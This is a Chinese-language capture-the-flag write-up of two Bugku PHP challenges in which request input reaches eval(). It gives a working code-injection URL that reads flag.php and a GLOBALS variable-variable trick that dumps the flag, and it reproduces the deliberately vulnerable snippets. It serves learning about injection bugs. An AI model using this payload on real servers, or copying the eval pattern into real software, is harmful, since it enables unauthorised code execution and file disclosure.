题目来源 bugku
题目:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
eval能够执行php代码
$_REQUEST: 能获取get/post提交的数据
eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。
个人猜测应该类似于sql注入
先闭合var_dump:1);
然后构建print_r 打印flag
print_r(file("./flag.php"))
用get方式提交简单 所以构建url为:
http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")
题目:
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ //判断args参数是否存在
$args = $_GET['args']; //参数值赋给$args
if(!preg_match("/^\w+$/",$args)){ // 如果$args不满足正则表达式 /^开始 \w任意一个单词字符 +表示将前面的字符匹配一次或多次 $/结束 也就是在变量args里寻找符合要求的部分 有返回1 没有返回0
die("args error!");
}
eval("var_dump($$args);");
}
?>
其中包含文件flag1.php
提示通过var获取flag
php中 $GLOBALS存储了所有全局变量 令args=GLOBALS则可得到flag